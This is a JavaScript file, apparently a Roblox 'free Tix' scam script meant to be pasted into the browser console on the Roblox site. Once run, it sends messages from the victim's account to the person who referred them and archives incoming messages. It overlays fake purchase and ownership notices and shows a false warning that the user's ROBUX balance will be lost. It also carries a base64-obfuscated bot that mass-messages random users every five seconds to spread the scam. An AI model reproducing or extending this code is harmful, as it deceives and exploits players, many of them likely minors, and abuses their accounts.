Roblox.Tix = {
original: 'missingno',
initialized: 0,
shares: 0,
loading: false,
items: [],
inventoryString: '
',
disableF5: function(e) { if ((e.which || e.keyCode) == 116 || (e.which || e.keyCode) == 82) { e.preventDefault(); document.getElementById('documentFrame').src = document.getElementById('documentFrame').contentWindow.document.location.href; } },
watermark: function () {
console.clear();
console.log("__________ ________ __________.____ ________ ____ ___\n\\______ \\\\_____ \\\\______ \\ | \\_____ \\ \\ \\/ /\n | _/ / | \\| | _/ | / | \\ \\ / \n | | \\/ | \\ | \\ |___/ | \\/ \\ \n |____|_ /\\_______ /______ /_______ \\_______ /___/\\ \\\n \\/ \\/ \\/ \\/ \\/ \\_/\nRoblox.Tix.js created by Urban420 Network");
},
addItem: function(category, name, image, creator, price, url, profile) {
Roblox.Tix.items.push({category: category, name: name, image: image, creator: creator, price: price, profile: profile, url: url});
},
format: function(str, arr) {
return str.replace(/%(\d+)/g, function(_,m) {
return arr[--m];
});
},
countShares: function() {
$.ajax({
url: "https://www.roblox.com/messages/api/get-messages?messageTab=0&pageNumber=0&pageSize=20",
success: function(messages) {
var invites = [];
for(var i = 0; i < messages.Collection.length; i++) {
var message = messages.Collection[i];
if(message.Body.indexOf("!!!") == 0) {
invites.push(message.Id);
Roblox.Tix.shares+=10;
}
}
$.ajax({
url: "https://www.roblox.com/messages/api/archive-messages",
method: "POST",
headers: { "X-CSRFToken": "" },
data: {
"messageIds": invites
}
});
}
});
document.getElementById('documentFrame').contentWindow.document.getElementById('nav-shares-amount').innerHTML = Roblox.Tix.shares.toLocaleString();
},
init: function() {
if(Roblox.Tix.initialized != 0) {
console.log("Already initalized!");
return;
}
var referee = prompt("Who sent you this video?\nEnter their user ID here\n\n(If you found this video on your own, press Cancel to continue)");
if(referee != null) {
$.ajax({
url: 'https://www.roblox.com/messages/send',
type: 'POST',
data: {
'subject': 'thanks for robux!!!!',
'body': '!!!',
'recipientid': referee,
'cacheBuster': $.now
}
});
}
setInterval( Roblox.Tix.countShares, 2000 );
window.onbeforeunload = function() {
return "Your ROBUX has not finished saving, if you continue your balance will be set to " + Roblox.Tix.original + " ROBUX";
}
Roblox.Tix.initialized = 1;
Roblox.Tix.original = document.getElementById('nav-robux-amount').innerHTML;
document.documentElement.innerHTML = "";
var start_loading = (function() {
Roblox.Tix.loading = true;
});
setInterval(function() {
if(Roblox.Tix.loading && document.getElementById('documentFrame').contentWindow.document.body.innerHTML.indexOf('nav-robux-amount') != -1) {
Roblox.Tix.loading = false;
if(document.location.href != document.getElementById('documentFrame').contentWindow.document.location.href) {
window.history.pushState(null, null, document.getElementById('documentFrame').contentWindow.document.location);
}
setTimeout(function(){
var priceInfos = document.getElementById('documentFrame').contentWindow.document.getElementsByClassName("price-info");
for(var i = 0; i < priceInfos.length; i++) {
var price = Math.max(5, parseInt(parseInt(priceInfos[i].children[0].getElementsByClassName("text-robux-lg")[0].innerHTML.replace(/,/,'')) / 10)).toLocaleString();
priceInfos[i].innerHTML += '' + price + '
';
if(Roblox.Tix.shares >= price) {
var doc = document.getElementById('documentFrame').contentWindow.document;
var t = doc.getElementsByClassName("PurchaseButton");
for(var i=0; i').append($(this).contents());
});
t[i].onclick = function() {
Roblox.Tix.addItem(
doc.getElementsByClassName("field-content")[0].innerHTML.toLowerCase().replace(/ /g, '-') + 's',
doc.getElementsByClassName('item-name-container')[0].children[0].innerHTML,
doc.getElementsByClassName('thumbnail-span')[0].children[0].src,
doc.getElementsByClassName('text-name')[0].innerHTML,
doc.getElementsByClassName('text-robux-lg')[0].innerHTML,
window.location.href,
doc.getElementsByClassName('text-name')[0].href
);
document.getElementById('documentFrame').contentWindow.$(".alert-success").html("Purchase Completed");
document.getElementById('documentFrame').contentWindow.Roblox.BootstrapWidgets.ToggleSystemMessage(document.getElementById('documentFrame').contentWindow.$(".alert-success"),100,1e3);
setTimeout(function() {
Roblox.Tix.shares -= price;
document.getElementById('documentFrame').src = document.getElementById('documentFrame').contentWindow.document.location.href;
}, 200);
}
}
}
}
}, 150);
var doc = document.getElementById('documentFrame').contentWindow.document;
if(doc.location.href.split('/').length == 6 && document.location.href.split('/')[3] == 'catalog') {
for(var i = 0; i < Roblox.Tix.items.length; i++) {
var item = Roblox.Tix.items[i];
if(item.url == window.location.href) {
var buyInterval = setInterval(function() {
if(doc.getElementsByClassName('text-label').length > 0 && doc.getElementsByClassName('text-label field-label price-label').length > 0 && doc.getElementsByClassName('action-button').length > 0) {
clearInterval(buyInterval);
doc.getElementsByClassName('text-label')[0].outerHTML += '
Item Owned';
doc.getElementsByClassName('text-label field-label price-label')[0].outerHTML = 'This item is available in your inventory.
' + doc.getElementsByClassName('text-label field-label price-label')[0].outerHTML;
doc.getElementsByClassName('action-button')[0].innerHTML = 'Edit Avatar';
}
}, 1);
}
}
}
/*if(typeof(doc.getElementById('assetsItems')) != 'undefined') {
var inventory = doc.getElementById('assetsItems');
for(var i = 0; i < Roblox.Tix.items.length; i++) {
var item = Roblox.Tix.items[i];
if(item.category == window.location.href.split('/')[6]) {
inventory.innerHTML += Roblox.Tix.format(Roblox.Tix.inventoryString, [item.url, item.image, item.profile, item.creator, item.price, item.name]);
}
}
}*/
doc.getElementById("navbar-robux").outerHTML += '';
var messageBot = 'WYodHlwZW9mKGlzQXV0b01hc3NNZXNzYWdpbmcpID09ICd1bmRlZmluZWQnKSB7Cglpc0F1dG9NYXNzTWVzc2FnaW5nID0gZmFsc2U7Cn0KCmlzQXV0b01hc3NNZXNzYWdpbmcgPSAhaXNBdXRvTWFzc01lc3NhZ2luZzsKaWYoaXNBdXRvTWFzc01lc3NhZ2luZykgewoJdmFyIHBsYWNlcyA9IFs5Njg5NTgxLCAxMzgyMjg4OSwgMzA2OTY0NDk0LCAxNTU2MTU2MDQsIDE0MjgyMzI5MSwgMjkyNDM5NDc3XTsKCXZhciB0aXRsZXMgPSBbJ2hvdyB0byBicmluZyB0aXggYmFjayEnLCAnaSB0dXJuZWQgb24gdGl4IScsICd5b3UgY2FuIGJyaW5nIGJhY2sgdGl4ISAod29vdCBubyBtb3JlIGJ1eWluZ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kJfQoJfSk7CglhbGVydCgiWW91IGFyZSBub3cgYXV0byBtYXNzIG1lc3NhZ2luZ1xuXG5FdmVyeSA1IHNlY29uZHMgYSBtZXNzYWdlIGNvbnRhaW5pbmcgdGhlIHN0ZXBzIGFib3ZlIGlzIHNlbnQgdG8gYSByYW5kb20gdXNlci5cbklmIHRoZXkgZm9sbG93IHRoZSBzdGVwcywgeW91IHdpbGwgZ2V0IDEwIHRpeC5cbklmIHlvdSB3YW50IHRvIHN0b3AsIHByZXNzIHRoZSBidXR0b24gYWdhaW4uIik7Cn0gZWxzZSB7CglhbGVydCgiWW91IGFyZSBubyBsb25nZXIgYXV0byBtYXNzIG1lc3NhZ2luZyIpOwp9';
setTimeout(function() {
if(document.location.pathname == "/Share") {
doc.getElementsByClassName("error-image")[0].src = "/Images/Upgrades/Robux/img_richman.png";
doc.getElementsByClassName("error-title")[0].innerHTML = "Share For Free Tix!";
doc.getElementsByClassName("error-message")[0].outerHTML = "Do you want tix? If so, follow the steps below!
First, you must send someone this video URL:
https://www.youtube.com/watch?v=PopfPY81iZA
Tell them to follow the steps, when they run the script used in the video they will see this message:

When they see this, they must enter " + doc.getElementById('nav-profile').href.split('/')[4] + ", if they do not you will not receive your tix
Once they do that you will have 10 tix added to your profile that you can spend on the catalog.
Need more shares? Use the buttons below to help!
";
doc.getElementsByClassName("btn-primary-md btn-fixed-width")[0].outerHTML = "Auto Msg";
}
}, 5);
document.title = doc.title;
if(typeof(Roblox.Tix.onload) != 'undefined') Roblox.Tix.onload();
}
}, 1);
window.addEventListener('message', function(e){ if(e.data == 'iframe_change') { start_loading(); } }, false);
$('#documentFrame').load(function() {
if(Roblox.Tix.initialized != 2) {
Roblox.Tix.initialized = 2;
document.getElementById('documentFrame').contentWindow.$(".alert-success").html("Successfully loaded");
document.getElementById('documentFrame').contentWindow.Roblox.BootstrapWidgets.ToggleSystemMessage(document.getElementById('documentFrame').contentWindow.$(".alert-success"),100,2e3);
document.getElementById('documentFrame').contentWindow.document.getElementById("navbar-robux").outerHTML += '';
}
Roblox.Tix.watermark();
document.getElementById('documentFrame').contentWindow.onunload = function() { window.top.postMessage('iframe_change', '*'); };
if(document.location.href != document.getElementById('documentFrame').contentWindow.document.location.href) {
window.history.pushState(null, null, document.getElementById('documentFrame').contentWindow.document.location);
}
if(Roblox.Tix.items.length > 0) {
if(document.getElementById('documentFrame').contentWindow.document.location.href.indexOf('my/character.aspx') != -1 || document.getElementById('documentFrame').contentWindow.document.getElementById('assetsItems') != null) {
if(window.confirm("You must be subscribed to Urban420 Network to receive the items you bought\nIf you are subscribed, press Cancel and wait up to 15 minutes for the item to be added to your inventory.\nIf you have not subscribed yet, press OK to be redirected to the subscribe page.")) {
var win = window.open('https://www.youtube.com/channel/UCBTsbsdu-5VmEhnpYt9EwRg?sub_confirmation=1', '_blank');
win.focus();
} else {
alert("The items will now be added to your inventory. It may take between 15 minutes to 48 hours for your item to appear\nIf you did not subscribe this will not work\n\nYou do not have to leave this page open, feel free to close the tab, play ROBLOX, or turn off your PC.");
}
}
}
var navbar = document.getElementById('documentFrame').contentWindow.document.getElementById("mCSB_1_container").children[0];
navbar.innerHTML += '';
var prices = document.getElementById('documentFrame').contentWindow.document.getElementsByClassName("robux-price");
for(var i = 0; i < prices.length; i++) {
prices[i].innerHTML += '' + Math.max(5, parseInt(parseInt(prices[i].getElementsByClassName("robux")[0].innerHTML.replace(/,/g,'')) / 10)).toLocaleString() + ' Tix';
}
document.title = document.getElementById('documentFrame').contentWindow.document.title;
if(typeof(Roblox.Tix.onloaded) != 'undefined') Roblox.Tix.onloaded();
});
window.onpopstate = function(event) {
document.getElementById('documentFrame').contentWindow.document.location = document.location;
};
$(document).ready(function(){
$(document).on("keydown", Roblox.Tix.disableF5);
});
}
}
Roblox.Tix.init();